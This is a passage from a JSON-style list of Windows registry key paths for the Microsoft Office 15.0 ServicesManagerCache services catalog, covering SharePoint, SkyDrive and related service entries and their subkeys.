    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
